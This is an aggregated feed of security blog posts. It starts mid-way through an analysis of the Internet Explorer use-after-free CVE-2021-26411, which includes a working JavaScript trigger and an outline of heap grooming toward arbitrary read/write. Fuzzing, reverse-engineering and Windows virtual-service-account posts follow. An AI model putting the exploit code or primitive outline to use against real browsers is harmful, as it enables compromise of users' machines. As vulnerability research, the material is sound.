1.The function removeAttributeNode() in mshtml.dll is handled by MSHTML!CElement::ie9_removeAttributeNode function. It calls MSHTML!CElement::ie9_removeAttributeNodeInternal internally, which is the main implementation of the removeAttributeNode(): avatar

2.MSHTML!CElement::ie9_removeAttributeNodeInternal calls CBase::FindAAIndexNS twice to lookup the indexes of attribute object and attribute nodeValue object in CAttrArray’s VARINAT array (+0x8). avatar

3.When the index of the attribute object is found, the attribute object is retrieved through CBase::GetObjectAt: avatar

4.When the nodeValue index of the attribute object is found, it calls CBase::GetIntoBSTRAt function to convert the nodeValue into BSTR and stores the BSTR value to CAttribute.nodeValue (+0x30). At this time, the valueOf callback will be triggered! avatar

5.Then it calls CBase::DeleteAt twice to delete the attribute object and the attribute nodeValuev object (here need to pay attention to the existence of one CBase::FindAAIndexNS call between the twice DeleteAt to find the attr1.nodeValue index again): avatar

6.CBase::DeleteAt checks the index of the object which needs to be deleted. If it is not equal with -1, it calls CAttrArray::Destroy to perform cleanup work: avatar

7.CAttrArray::Destroy calls CImplAry::Delete to modify the CAttrArray counter (+0x4) and reorder the corresponding VARIANT array (+0x8) , then calls CAttrValue::Free to release the attribute object in the end: avatar


Next we observe the callback process of question 1 and analyze question 2 via dynamic debugging:
1.The memory layout of the elem object before entering the removeAttributeNode function:
avatar

2.The result of two CBase::FindAAIndexNS function calls after entering MSHTML!CElement::ie9_removeAttributeNodeInternal: avatar
avatar

3.CBase::GetIntoBSTRAt triggers the valueOf callback in the script: avatar

4.The memory layout of the elem object after calling clearAttributes() in the valueOf callback: avatar

Comparing step 1, you can see that after clearAttributes(), the elem.CAttrArray.count (+0x4) is decremented to 1 and a memory copy operation in CAttrArray VARIANT array (+0x8) happens: the attr2 of index 4 is copied to the previous index in order (shift), which corresponding to the logic of CImplAry::Delete: avatar

5.When the callback returns, in the the first CBase::DeleteAt() call:
It checks the index of the VARIANT object which waited to be deleted firstly. Here is the attr1 index value 2 which is found in the first CBase::FindAAIndexNS search: avatar
After passing the index check, CAttrArray::Destroy is called to start cleaning up.

6.When the callback returns, in the the second CBase::DeleteAt() call:
Recalling the static analysis part, one CBase::FindAAIndexNS between the two CBase::DeleteAt is performed to find the attr1.nodeValue index again. Under normal circumstances, CBase::FindAAIndexNS is expected to return 1. However, because the callback breaks the atomic operation at the interpreter level and releases all the attributes of elem in advance, the unexpected -1 is returned here: avatar

According to the static analysis of the CBase::DeleteAt function, for the case where the index is -1, an exception will be thrown: avatar

After returning, the CAttrArray object pointer points to the memory set as NULL, which finally triggers the null pointer dereference exception: avatar

Here is a picture to explain the whole process: avatar

From null pointer dereference to read/write primitive

Finally, let’s address question 3:
How to exploit this null pointer dereference exception?

As we know, null pointer dereference exception in user mode is difficult to exploit, but this vulnerability has its particularity. Through the previous analysis, we know that the null pointer dereference exception occurs in the second DeleteAt operation, but the first DeleteAt operation has an incorrect assumption already: the VARIANT array (+0x8) saved in CAttrArray has been reassigned in the callback:
avatar

At this time, the first DeleteAt operation with index = 2 will release the attr2 object by mistake: avatar

So here is actually a UAF issue hidden by the null pointer dereference exception.

The next step needs to think about is how to exploit this UAF. Considering that the DOM element object is protected by isolated heap and delayed free mechanism, it should select an object that can directly allocate memory by the system heap allocator, such as an extremely long BSTR.

The revised PoC is shown as follows:

<script>
var elem = document.createElement('xxx'); 
var attr1 = document.createAttribute('yyy'); 
//var attr2 = document.createAttribute('zzz'); 

var obj = {};
obj.valueOf = function() {
	elem.clearAttributes();
	return 0x1337;
};

attr1.nodeValue = obj;
//attr2.nodeValue = 123;

elem.setAttributeNode(attr1);
//elem.setAttributeNode(attr2);
elem.setAttribute('zzz', Array(0x10000).join('A'));

elem.removeAttributeNode(attr1); 
</script>

The memory layout of elem before removeAttributeNode(): avatar

After clearAttributes(), the VARIANT array of CAttryArray is copied forward, and the BSTR is released immediately: avatar

In the first DeleteAt operation, the BSTR memory of the ‘zzz’ attribute with index=2 is accessed again, which results in UAF: avatar

Here we can get a 0x20010 bytes memory hole after the valueOf callback clearAttributes().
Then there are two questions need to answer:

  1. What object can be chosen to occupy the empty memory?
  2. How to bypass the null pointer dereference exception caused by ‘index=-1’ check in the second DeleteAt after the empty memory is occupied successfully?

Referring to the exp codes published by ENKI[4], we can use an ArrayBuffer object with a size of 0x20010 bytes to occupy the empty memory, and re-set the attribute ‘yyy’ to the elem before callback return to bypass of the null pointer dereference exception:
avatar

Finally, after ‘elem.removeAttributeNode(attr1)’ returns, a dangling pointer ‘hd2.nodeValue’ with a size of 0x20010 bytes is obtained. There are many path for the next exploitation. The main ideas from the original exp code are:

  1. Use Scripting.Dictionary.items() to occupy the memory hole and use the hd2.nodeValue dangling pointer to leak the fake ArrayBuffer address
  2. Leak the metadata of the fake ArrayBuffer, modify ArrayBuffer’s buffer=0, length=0xffffffff and get new fake ArrayBuffer
  3. Create a DataView which references the new fake ArrayBuffer to achieve arbitrary memory read and write primitive:

avatar

Patch analysis

avatar

Some thoughts

Microsoft has removed the IE browser vulnerability from the vulnerability bounty program, and began to release the new Edge browser based on the Chromium. However, in recent years, APT actors exploit IE browser vulnerability are still active. From the vbscript engine in 2018, the jscript engine in 2019 to the jscript9 engine in 2020, attackers are constantly looking for new attack surfaces. The disclosure of CVE-2021-26411 brought the security issues of the mshtml engine which had been found with a large number of UAF issues back to the public’s perspective again . We believe that the attacks against Internet Explorer are not stopped.

References

[1] https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/
[2] https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/
[3] https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26411
[4] https://enki.co.kr/blog/2021/02/04/ie_0day.html

Work Items & System Worker Threads - 'Practical Reverse Engineering' solutions - Part 3

10 March 2021 at 00:00
Introduction This post is about ‘Work Items’ , the third part of my ‘Practical Reverse Engineering’ solutions series and a natural continuation to the previous one about kernel system threads. Luckily, thanks to Alex Ionescu, while researching the topic, I had the chance to get a pre-proof copy of Windows Internals 7th edition, Part 2 ahead of time so I could check my initial findings against the ones from the authors of the book.

Windows 10 egghunter (wow64) and more

Introduction Ok, I have a confession to make, I have always been somewhat intrigued by egghunters. That doesn’t mean that I like to use (or abuse) an egghunter just because I fancy what it does. In fact, I believe it’s a good practise to try to avoid egghunters if you can, as they tend to […]

The post Windows 10 egghunter (wow64) and more first appeared on Corelan Cybersecurity Research.

Windows 10 x86/wow64 Userland heap

Introduction Hi all, Over the course of the past few weeks ago, I received a number of "emergency" calls from some relatives, asking me to look at their computer because "things were broken", "things looked different" and "I think my computer got hacked".  I quickly realized that their computers got upgraded to Windows 10. We […]

The post Windows 10 x86/wow64 Userland heap first appeared on Corelan Cybersecurity Research.

EncFSGui – GUI Wrapper around encfs for OSX

Introduction 3 weeks ago, I posted a rant about my frustration/concern related with crypto tools, more specifically the lack of tools to implement crypto-based protection for files on OSX, in a point-&-click user-friendly way.  I listed my personal functional and technical criteria for such tools and came to the conclusion that the industry seem to […]

The post EncFSGui – GUI Wrapper around encfs for OSX first appeared on Corelan Cybersecurity Research.

Crypto in the box, stone age edition

Introduction First of all, Happy New Year to everyone! I hope 2016 will be a fantastic and healthy year, filled with fun, joy, energy, and lots of pleasant surprises. I remember when all of my data would fit on a single floppy disk. 10 times. The first laptops looked like (and felt like) mainframes on […]

The post Crypto in the box, stone age edition first appeared on Corelan Cybersecurity Research.

How to become a pentester

Intro I receive a lot of emails.  (Please don’t make it worse, thanks!)   Unfortunately I don’t have as much spare time as I used to, or would like to, so I often have no other choice than to redirect questions to our forums or our IRC channel (#corelan on freenode), hoping that other members […]

The post How to become a pentester first appeared on Corelan Cybersecurity Research.

Analyzing heap objects with mona.py

Introduction Hi all, While preparing for my Advanced exploit dev course at Derbycon, I’ve been playing with heap allocation primitives in IE.  One of the things that causes some frustration (or, at least, tends to slow me down during the research) is the ability to quickly identify objects that may be useful. After all, I’m […]

The post Analyzing heap objects with mona.py first appeared on Corelan Cybersecurity Research.

CSO : Common Sense Operator/Operations

As the CSO/CISO/person responsible for Information Security, your job is to…  well … do you even know?  Does upper management know?  "Our crappy CSO …" and "Our stupid CSO …" are statements commonly used by various (techie) people, throwing their hands up in despair, attempting to prove that their CSO doesn’t understand technology and has […]

The post CSO : Common Sense Operator/Operations first appeared on Corelan Cybersecurity Research.

HITB2014AMS – Day 2 – On Her Majesty’s Secret Service: GRX & A Spy Agency

Last year, Belgacom got hacked by an intelligence service (GCHQ?), Rob says. “What is so interesting about this hack, why did they hack into Belgacom, what would or could be the purpose of a similar hack?”  Before answering those questions, we need to take a quick look on how mobile networks work and how mobile […]

The post HITB2014AMS – Day 2 – On Her Majesty’s Secret Service: GRX & A Spy Agency first appeared on Corelan Cybersecurity Research.

HITB2014AMS – Day 2 – Exploring and Exploiting iOS Web Browsers

iOS Browsers & UIWebview iOS is very popular (according to StatCounter, it’s the 3rd most popular platform used).  Mobile browsers take about 20% to 25% of the market share. iOS offers integration with desktop browsers and cloud (so the same data is available to an attacker).  Many 3rd party IOS browsers have similar weaknesses which […]

The post HITB2014AMS – Day 2 – Exploring and Exploiting iOS Web Browsers first appeared on Corelan Cybersecurity Research.

HITB2014AMS – Day 2 – Keynote 4: Hack It Forward

Good morning Amsterdam, good morning readers, welcome to the second day of the Hack In The Box conference. The speaker for the first keynote didn’t show up,  so we’ll jump right into the next keynote. Jennifer starts her keynote by explaining that she’s fortunate to be able to travel to a lot of conferences and […]

The post HITB2014AMS – Day 2 – Keynote 4: Hack It Forward first appeared on Corelan Cybersecurity Research.

System Threads and their elusiveness. 'Practical Reverse Engineering' solutions - Part 2

11 February 2021 at 00:00
Introduction In this second blog post about Practical Revere Engineering solutions I’d like to focus on the following exercise on Page 128. This one is the first related to Asynchronous and Ad-Hoc Execution kernel objects, and specifically on how System Threads are invoked via the PsCreateSystemThread routine. Here is the original exercise statement: After reading some online forums, you notice some people suggesting that PsCreateSystemThread will create a thread in the context of the calling process.

Linked List in the Kernel: 'Practical Reverse Engineering' solutions - Part 1

1 January 2021 at 00:00
Introduction Lately, I dusted off the marvelous ‘Practical Reverse Engineering’ book by Bruce Dang & Co. which made me realize it would be useful to structure notes along each chapter’s exercises. Could be a valuable reference for the future, especially anything related to Chapter 3 (Windows Kernel) onwards. I decided to focus on one of the most basic and still very widespread data structure in kernel land: linked lists.

Fuzzing Like A Caveman 5: A Code Coverage Tour for Cavepeople

By: h0mbre
16 January 2021 at 05:00

Introduction

We’ve already discussed the importance of code coverage previously in this series so today we’ll try to understand some of the very basic underlying concepts, some common approaches, some tooling, and also see what techniques some popular fuzzing frameworks are capable of leveraging. We’re going to shy away from some of the more esoteric strategies and try to focus on what would be called the ‘bread and butter’, well-trodden subject areas. So if you’re new to fuzzing, new to software testing, this blogpost should be friendly. I’ve found that a lot of the terminology used in this space is intuitive and easy to understand, but there are some outliers. Hopefully this helps you at least get on your way doing your own research.

We will do our best to not get bogged down in definitional minutiae, and instead will focus on just learning stuff. I’m not a computer scientist and the point of this blogpost is to merely introduce you to these concepts so that you can understand their utility in fuzzing. In that spirit, if you find any information that is misleading, egregiously incorrect, please let me know.

Thanks to all that have been so charitable on Twitter answering questions and helping me out along the way, people like: @gamozolabs, @domenuk, @is_eqv, @d0c_s4vage, and @naehrdine just to name a few :)

Core Definitions

One of the first things we need to do is get some definitions out of the way. These definitions will be important as we will build upon them in the subsequent explanations/explorations.

Code Coverage

Code coverage is any metric that gives you insight into how much of a program’s code has been reached by a test, input, etc. We won’t spend a lot of time here as we’ve already previously discussed code coverage in previous posts. Code coverage is very important to fuzzing as it allows you to keep track of how much surface area in the target program you are able to reach. You can imagine that if you only explore a small % of the program space, your testing might be limited in comprehensiveness.

Basic Blocks

Let’s get the Wikipedia definition out of the way first:

“In compiler construction, a basic block is a straight-line code sequence with no branches in except to the entry and no branches out except at the exit.”

So a ‘basic block’ is a code sequence that is executed linearly where there is no opportunity for the code execution path to branch into separate directions. Let’s come up with a visual example. Take the following dummy program that gets a password via the command line and then checks that it meets password length requirements:

#include <stdio.h>
#include <stdlib.h>

int length_check(char* password)
{
    long i = 0;
    while (password[i] != '\0')
    {
        i++;
    }

    if (i < 8 || i > 20)
    {
        return 0;
    }

    return 1;
}

int main(int argc, char *argv[])
{
    if (argc != 2)
    {
        printf("usage: ./passcheck <password>\n");
        printf("usage: ./passcheck mysecretpassword2021\n");
        exit(-1);
    }

    int result = length_check(argv[1]);

    if (!result)
    {
        printf("password does not meet length requirements\n");
        exit(-1);
    }

    else
    {
        printf("password meets length requirements\n");
    }
}

Once we get this compiled and analyzed in Ghidra, we can see the following graph view of main():

‘Blocks’ is one of those intuitive terms, we can see how the graph view automatically breaks down main() into blocks of code. If you look inside each block, you will see that code execution is unidirectional, there are no opportunities inside of a block to take two or more different paths. The code execution is on rails and the train track has no forks. You can see that blocks terminate in this example with conditional jumps (JZ, JNZ), main returning, and function calls to exit.

Edges/Branches/Transitions

‘Edge’ is one of those terms in CS/graph theory that I don’t think is super intuitive and I much prefer ‘Transition’ or ‘Branch’, but essentially this is meant to capture relationships between basic blocks. Looking back at our basic block graph from Ghidra, we can see that a few different relationships exist, that is to say that there are multiple pathways code execution can take depending on a few conditions.

Basic block 001006cf has a relationship with two different blocks: 001006e4 and 00100706. So code execution inside of 001006cf can reach either of the two blocks it has a relationship with depending on a condition. That condition in our case is the JZ operation depending on whether or not the number of command line arguments is 2:

  • if the number of arguments is not 2, we branch to block 001006e4 organically by just not taking the conditional jump (JZ)
  • if the number of arguments is 2, we branch to block 00100706 by taking the conditional jump

These two possibilities can be referred to as ‘Edges’, so block 01006cf has two edges. You can imagine how this might be important from the perspective of fuzzing. If our fuzzer is only ever exploring one of a basic block’s edges, we are leaving an entire branch untested so it would behoove us to track this type of information.

There’s apparently much more to this concept than I let on here, you can read more on the Wikipedia entry for Control-flow_graph.

Paths

‘Path’ is just the list of basic blocks our program execution traversed. Looking at our example program, there a few different paths as illustrated below with the orange, green and red lines.

Path One: 0x001006cf -> 0x001006e4

Path Two: 0x001006cf -> 0x00100706 -> 0x00100738

Path Three: 0x001006cf -> 0x00100706 -> 0x0000722

Instrumentation

In this blogpost, “Instrumentation” will refer to the process of equipping your fuzzing target with the ability to provide code coverage feedback data. This could mean lots of things. It could be as complex as completely rewriting a compiled binary blob that we have no source code for or as simple as placing a breakpoint on the address of every basic block entry address.

One of the important aspects of instrumentation to keep in mind is the performance penalty incurred by your instrumentation. If your instrumentation provides 50% more useful information than a technique that is 50% less useful but 1000x more performant, you have to consider the tradeoffs. The 50% more data might very well be worth the huge performance penalty, it just depends.

Binary Only

This is a simple one, “Binary Only” refers to targets that we don’t have source code for. So all we have to work with is a binary blob. It can be dynamically linked or static. These types of targets are more prevalent in certain environments, think embedded targets, MacOS, and Windows. There are still binary-only targets on Linux though, they’re just less common.

Even though “binary only” is simple to understand, the implications for gathering code coverage data are far-reaching. A lot of popular code coverage mechanisms rely upon having source code so that the target can be compiled in a certain way that lends itself well to gathering coverage data, for binary-only targets we don’t have the luxury of compiling the target the way that we want. We have to deal with the compiled target the way it is.

Common Strategies

In this section we’ll start looking at common strategies fuzzing tools utilize to gather code coverage data.

Tracking Basic Blocks

One of the most simple ways to gather code coverage is to simply track how many basic blocks are reached by a given input. You can imagine that we are exploring a target program with our inputs and we want to know what code has been reached. Well, we know that given our definition of basic blocks above, if we enter a basic block we will execute all of the code within, so if we just track whether or not a basic block has been reached, we will at least know what paths we have not yet hit and we can go manually inspect them.

This approach isn’t very sophisticated and kind of offers little in the way of high-fidelity coverage data; however, it is extremely simple to implement and works with all kinds of targets. Don’t have source? Throw some breakpoints on it. Don’t have time to write compiler code? Throw some breakpoints on it.

Performance wise, this technique is great. Hitting new coverage will entail hitting a breakpoint, removing the breakpoint and restoring the original contents that were overwritten during instrumentation, saving the input that reached the breakpoint, and continuing on. These events will actually be slow when they occur; however, as you progress through your fuzzing campaign, new coverage becomes increasingly rare. So there is an upfront cost that eventually decreases to near-zero as time goes by.

I’d say that in my limited experience, this type of coverage is typically employed against closed-source targets (binary-only) where our options are limited and this low-tech method works well enough.

Let’s check out @gamozolabs really fast Basic Block tracking coverage tool called Mesos. You can see that it is aimed at use on Windows where most targets will be binary-only. The neat thing about this tool is its performance. You can see his benchmark results in the README:

Registered    1000000 breakpoints in   0.162230 seconds |  6164072.8 / second
Applied       1000000 breakpoints in   0.321347 seconds |  3111897.0 / second
Cleared       1000000 breakpoints in   0.067024 seconds | 14920028.6 / second
Hit            100000 breakpoints in  10.066440 seconds |     9934.0 / second

One thing to keep in mind is that if you use this way of collecting coverage data, you might limit yourself to the first input that reaches a basic block. Say for instance we have the following code:

// input here is an unsigned char buff
if (input[0x9] < 220)
{
    parsing_routine_1(input);
}

else
{
    parsing_routine_2(input);
}

If our first input to reach this code has a value of 200 inside of input[0x9], then we will progress to the parsing_routine_1 block entry. We will remove our breakpoint at the entry of parsing_routine_1 and we will add the input that reached it to our corpus. But now that we’ve reached our block with an input that had a value of 200, we’re kind of married to that value as we will never hit this breakpoint again with any of the other values that would’ve reached it as well. So we’ll never save an input to the corpus that “solved” this basic block a different way. This can be important. Let’s say parsing_routine_1 then takes the entire input, and reads through the input byte-by-byte for the entirety of the input’s length and does some sort of lengthy parsing at each iteration. And let’s also say there are no subsequent routines that are highly stateful where large inputs vary drastically from smaller inputs in behavior. What if the first input we gave the program that solved this block is 1MB in size? Our fuzzers are kind of married to the large input we saved in the corpus and we were kind of unlucky that shorter input didn’t solve this block first and this could hurt performance.

One way to overcome this problem would be to just simply re-instantiate all of your breakpoints periodically. Say you have been running your fuzzer for 10 billion fuzz-cases and haven’t found any new coverage in 24 hours, you could at that point insert all of your already discovered breakpoints once again and try to solve the blocks in a different way perhaps saving a smaller more performant input that solved the block with a input[0x9] = 20. Really there a million different ways to solve this problem. I believe @gamozolabs addressed this exact issue before on Twitter but I wasn’t able to find the post.

All in all, this is a really effective coverage method especially given the variety of targets it works for and how simple it is to implement.

Tracking Edges and Paths

Tracking edges is very popular because this is the strategy employed by AFL and its children. This is the approach where we not only care about what basic blocks are being hit but also, what relationships are being explored between basic blocks.

The AFL++ stats output has references to both paths and edges and implicitly ‘counters’. I’m not 100% sure but I believe their definition of a ‘path’ matches up to ours above. I think they are saying that a ‘path’ is the same as a testcase in their documentation.

I won’t get too in-depth here analyzing how AFL and its children (really AFL++ is quite different than AFL) collect and analyze coverage for a simple reason: it’s for big brain people and I don’t understand much of it. If you’re interested in a more detailed breakdown, head on over to their docs and have a blast.

To track edges, AFL uses tuples of the block addresses involved in the relationship. So in our example program, if we went from block 0x001006cf to block 0x001006e4 because we didn’t provide the correct number of command line arguments, this tuple (0x001006cf , 0x001006e4) would be added to a coverage map AFL++ uses to track unique paths. So let’s track the tuples we would register if we traversed an entire path in our program:

0x001006cf -> 0x00100706 -> 0x00100722

If we take the above path, we can formulate two tuples of coverage data: (0x001006cf, 0x00100706) and (0x00100706, 0x00100722). These can be looked up in AFL’s coverage data to see if these relationships have been explored before.

Not only does AFL track these relationships, it also tracks frequency. So for instance, it is aware of how often each particular edge is reached and explored.

This kind of coverage data is way more complex than merely tracking basic blocks reached; however, getting this level of detail is also not nearly as straightforward.

In the most common case, AFL gets this data by using compile-time instrumentation on the target. You can compile your target, that you have source code for, using the AFL compiler which will emit compiled code with the instrumentation embedded in the target. This is extremely nifty. But it requires access to source code which isn’t always possible.

AFL has an answer for binary-only targets as well and leverages the powerful QEMU emulator to gather similarly detailed coverage data. Emulators have relatively free access to this type of data since they have to take the target instructions and either interpret them (which means simulate their execution) or JIT (just-in-time) compile the blocks into native code and execute them natively. In the case of QEMU here, blocks are JIT’d into native code and stored in a cache so that it could be easily used again by subsequent executions. So when QEMU comes upon a basic block, it can check whether or not this block has been compiled or not already and act accordingly. AFL utilizes this process to track what blocks are being executed and gets very similar data to what it gathers with compile time instrumentation.

I don’t understand all of the nuance here, but a great blogpost to read on the subject is: @abiondo’s post explaining an optimization they made to AFL QEMU mode in 2018. In a grossly short (hopefully not too inaccurate) summary, QEMU would pre-compute what are called direct jumps and compile those blocks into a single block essentially (via keeping execution in natively compiled blocks) as a way to speed things up. Take this toy example for instance:

ADD RAX, 0x8
JMP LAB_0x00100738

Here we have a pre-computable destination to our jump. We know the relative offset to LAB_0x00100738 from our current address (absolute value of current_addr - LAB_0x00100738), so in an emulator we could just take that jump and replace the destination to the compiled block of LAB_0x00100738 and no calculations would need to take place during each execution (only the initial one to calculate the relative offset). This would allow the emulator to progress with native execution without going back into what I would call a ‘simulation-mode’ where it has to calculate the address before jumping to it each time its executed. This is called “block-chaining” in QEMU. Well you can imagine that if this occurs, that huge block of natively executed code (that is really two blocks) is completely opaque to AFL as it’s unaware that two blocks are contained and so it cannot log the edge that was taken. So as a work around, AFL would patch QEMU to no longer do this block-chaining and keep every block isolated so that edges could be tracked. This would mean that at the end of every block, direct jump or not, QEMU would go back into that ‘simulation-mode’ which would incur a performance penalty.

Definitely read through @abiondo’s blogpost though, it’s much more informative.

If you’re wondering what an indirect jump would be, it would be something where the jump location is only known at execution time, something that could look like this in a toy example:

ADD RAX, 0x8
JMP RAX

The only issue with using QEMU to gather our coverage data is it is relatively slow compared to purely native execution. This slowdown can be worth it obviously as the amount of data you get is substantial and sometimes with binary-only targets there are no other alternatives.

Compare Coverage/Compare Shattering

Instead of merely tracking an input or test’s progress through a program’s blocks/edges, compare coverage seeks to understand how much progress our test is making in the program’s comparisons. Comparisons can be done different ways but a common one already exists in our example password program. In the 001006cf block, we have a CMP operation being performed here:

CMP dword ptr [RBP + local_1c], 0x2

A dword is a 4 byte value (32 bits) and this operation is taking our argc value in our program and comparing it with 0x2 to check how many command line arguments were provided. So our two comparison operands are whatever is on the stack at the offset RBP + local_1c and 0x2. If these operands are equal, the Zero Flag will be set and we can utilize a conditional jump with JZ to move accordingly in the program.

But the problem, as it relates to fuzzing, is that this comparison is rather binary. It either sets the Zero Flag or it does not, there is no nuance. We cannot tell how close we came to passing the comparison, to setting the Zero Flag.

So for example, let’s say we were doing a comparison with 0xdeadbeef instead of 0x2. In that case, if we were to submit 0xdeadbebe for the other operand, we’d be much closer to satisfying the JZ condition that we would be if we submitted 0x0.

At a high-level, compare coverage breaks this comparison down into chunks so that progress through the comparison can be tracked with more much granularity than a binary PASS/FAIL. So using compare coverage, this comparison might instead be rewritten as follows:

BEFORE:

Does 0xdeadbebe == 0xdeadbeef ?

AFTER:

Does 0xde == 0xde ? If so, log that we’ve matched the first byte, and

does 0xad == 0xad ? If so, log that we’ve matched the second byte, and

does 0xbe == 0xbe ? If so, log that we’ve matched the third byte, and

does 0xbe == 0xef ? If so, log that we’ve matched both operands completely.

In our AFTER rewrite, instead of getting a binary PASS/FAIL, we instead see that we progressed 75% of the way through the comparison matching 3 out of 4 bytes. Now we know that we can save this input and mutate it further hoping that we can pass the final byte comparison with a correct mutation.

We also aren’t restricted to only breaking down each comparison to bytes, we could instead compare the two operands at the bit-level. For instance we could’ve also compared them as follows:

1101 1110 1010 1101 1011 1110 1110 1111 vs

1101 1110 1010 1101 1011 1110 1011 1110

This could be broken down into 32 separate comparisons instead of our 4, giving us even more fidelity and progress tracking (probably at the expense of performance in practice).

Here we took a 4 byte comparison and broke it down into 4 separate single-byte comparisons. This is also known as “Compare Shattering”. In spirit, it’s very similar to compare coverage. It’s all about breaking down large comparisons into smaller chunks so that progress can be tracked with more fidelity.

Some fuzzers take all compare operands, like 0xdeadbeef in this example, and add them to a sort of magic values dictionary that the fuzzer will randomly insert it into its inputs hoping to pass the comparison in the future.

You can imagine a scenario where a program checks a large value before branching to a complex routine that needs to be explored. Passing these checks is extremely difficult with just basic coverage and would require a lot of human interaction. One could examine a colored graph in IDA that displayed reached blocks and try to manually figure out what was preventing the fuzzer from reaching unreached blocks and determine that a large 32 byte comparison was being failed. One could then adjust their fuzzer to account for this comparison by means of a dictionary or whatever, but this process is all very manual.

There are some really interesting/highly technical means to do this type of thing to both targets with source and binary-only targets!

AFL++ features an LLVM mode where you can utilize what they call “laf-intel instrumentation” which is described here and originally written about here. Straight from laf-intel’s blogpost, we can see their example looks extremely similar to the thought experiment we already went through where they have this source code:

if (input == 0xabad1dea) {
  /* terribly buggy code */
} else {
  /* secure code */
}

And this code snippet is ‘de-optimized’ into several smaller comparisons that the fuzzer can measure its progress through:

if (input >> 24 == 0xab){
  if ((input & 0xff0000) >> 16 == 0xad) {
    if ((input & 0xff00) >> 8 == 0x1d) {
      if ((input & 0xff) == 0xea) {
        /* terrible code */
        goto end;
      }
    }
  }
}

/* good code */

end:

This de-optimized code can be emitted when one opts to specify certain environment variables and utilizes afl-clang-fast to compile the target.

This is super clever and can really take tons of manual effort out of fuzzing.

But what are we to do when we don’t have access to source code and our binary-only target is possibly full of large comparisons?

Luckily, there are open-source solutions to this problem as well. Let’s look at one called “TinyInst” by @ifsecure and friends. I can’t get deep into how this tool works technically because I’ve never used it but the README is pretty descriptive!

As we can see, it is aimed at MacOS and Windows targets in-keeping with its purpose of instrumenting binary only targets. TinyInst gets us coverage by instrumenting select routines via debugger to change the execution permissions so that any execution (not read or write as these permissions are maintained) access to our instrumented code results in a fault which is then handled by the TinyInst debugger where code execution is redirected a re-written instrumented routine/module. So TinyInst blocks all execution of the original module and instead, redirects all that execution to a rewritten module that is inserted into the program. You can see how powerful this can be as it can allow for the breaking down of large comparisons into much smaller ones in a manner very similar to the laf-intel method but for a target that is already compiled. Look at this cool gif showing compare coverage in action from @ifsecure: [https://twitter.com/ifsecure/status/1298341219614031873?s=20]. You can see that he has a program that checks for an 8 byte value, and his fuzzer makes incremental progress through it until it has solved the comparison.

There are some other tools out there that work similarly in theory to TinyInst as well that are definitely worth looking at and they are also mentioned in the README, tools like: DynamoRIO and PIN.

It should also be mentioned that AFL++ also has the ability to do compare coverage tracking even in QEMU mode.

Bonus Land: Using Hardware to Get Coverage Data

That pretty much wraps up the very basics of what type of data we’re interested in, why, and how we might be able to extract it. One type of data extraction method that didn’t come up yet that is particularly helpful for binary-only targets is utilizing your actual hardware to get coverage data.

While it’s not really a ‘strategy’ as the others were, it enables the execution of the strategies mentioned above and wasn’t mentioned yet. We won’t get too deep here. Nowadays, CPUs come chock-full of all kinds of utilities that are aimed at high-fidelity performance profiling. These types of utilities can also be wrangled into giving us coverage data.

Intel-PT is a utility offered by newer Intel CPUs that allows you to extract information about the software you’re running such as control-flow. Each hardware thread has the ability to store data about the application it is executing. The big hang up with using processor trace is that decoding the trace data that is collected has always been painfully slow and cumbersome to work with. Recently however, @is_eqv and @ms_s3c were able to create a very performant library called libxdc which can be used to decode Intel-PT trace data performantly. The graph included in their README is very cool, you can see how much faster it is than the other hardware-sourced coverage guided fuzzing tools while also collecting the highest-fidelity coverage data, what they call “Full Edge Coverage”. Getting your coverage data straight from the CPU seems ideal haha. So for them to be able to engineer a library that gives you what is essentially perfect coverage, and by the way, doesn’t require source code, seems like a substantial accomplishment. I personally don’t have the engineering chops to deal with this type of coverage at the moment, but one day. A lot of popular fuzzers can utilize Intel-PT right out of the box, fuzzers like: AFL++, honggfuzz, and WinAFL.

There are many other such utilities but they are beyond the scope of this introductory blogpost.

Conclusion

In this post we went over some of the building-block terminology used in the space, some very common fundamental strategies that are employed to get meaningful coverage data, and also some of the tooling that is used to extract the data (and in some cases what fuzzing frameworks use what tooling). It should be mentioned that the popular fuzzing frameworks like AFL++ and honggfuzz go through great lengths to make their frameworks as flexible as possible and work with a wide breadth of targets. They often give you tons of flexibility to employ the coverage data extraction method that’s best suited to your situation. Hopefully this was somewhat helpful to begin to understand some of the problems associated with code coverage as it relates to fuzzing.

Linked List in the Kernel: 'Practical Reverse Engineering' solutions - Chapter 3, Part 1

1 January 2021 at 00:00
Introduction Lately, I dusted off the marvelous ‘Practical Reverse Engineering’ book by Bruce Dang & Co. which made me realize it would be useful to structure notes along each chapter’s exercises. Could be a valuable reference for the future, especially anything related to Chapter 3 (Windows Kernel) onwards. I decided to focus on one of the most basic and still very widespread data structure in kernel land: linked lists.

Linked List in the Kernel - 'Practical Reverse Engineering' solutions - Chapter 3 - Part 1

1 December 2020 at 00:00
Introduction Going once again through ‘Practical Reverse Engineering’ book by Bruce Dang & Co. made me realize it would be useful to structure notes together with the chapter’s exercises, as it might be valuable as future reference, especially anything related to Chapter 3 (Windows Kernel) onwards. This one is focusing on one of the most basic and yet much widespread data structures in kernel land: linked lists. The most used list-type in the Windows Kernel is Circular doubly-linked list, so we are going to focus only on this kind.

Creating your own Virtual Service Accounts

By: tiraniddo
26 October 2020 at 23:54

Following on from the previous blog post, if you can't map arbitrary SIDs to names to make displaying capabilities nicer what is the purpose of LsaManageSidNameMapping? The primary purpose is to facilitate the creation of Virtual Service Accounts

A virtual service account allows you to create an access token where the user SID is a service SID, for example, NT SERVICE\TrustedInstaller. A virtual service account doesn't need to have a password configured which makes them ideal for restricting services rather than having to deal with the default service accounts and using WSH to lock them down or specifying a domain user with password.

To create an access token for a virtual service account you can use LogonUserExEx and specify the undocumented (AFAIK) LOGON32_PROVIDER_VIRTUAL logon provider. You must have SeTcbPrivilege to create the token, and the SID of the account must have its first RID in the range 80 to 111 inclusive. Recall from the previous blog post this is exactly the same range that is covered by LsaManageSidNameMapping.

The LogonUserExEx API only takes strings for the domain and username, you can't specify a SID. Using the LsaManageSidNameMapping function allows you to map a username and domain to a virtual service account SID. LSASS prevents you from using RID 80 (NT SERVICE) and 87 (NT TASK) outside of the SCM or the task scheduler service (see this snippet of reversed LSASS code for how it checks). However everything else in the RID range is fair game.

So let's create out own virtual service account. First you need to add your domain and username using the tool from the previous blog post. All these commands need to be run as a user with SeTcbPrivilege.

SetSidMapping.exe S-1-5-100="AWESOME DOMAIN" 
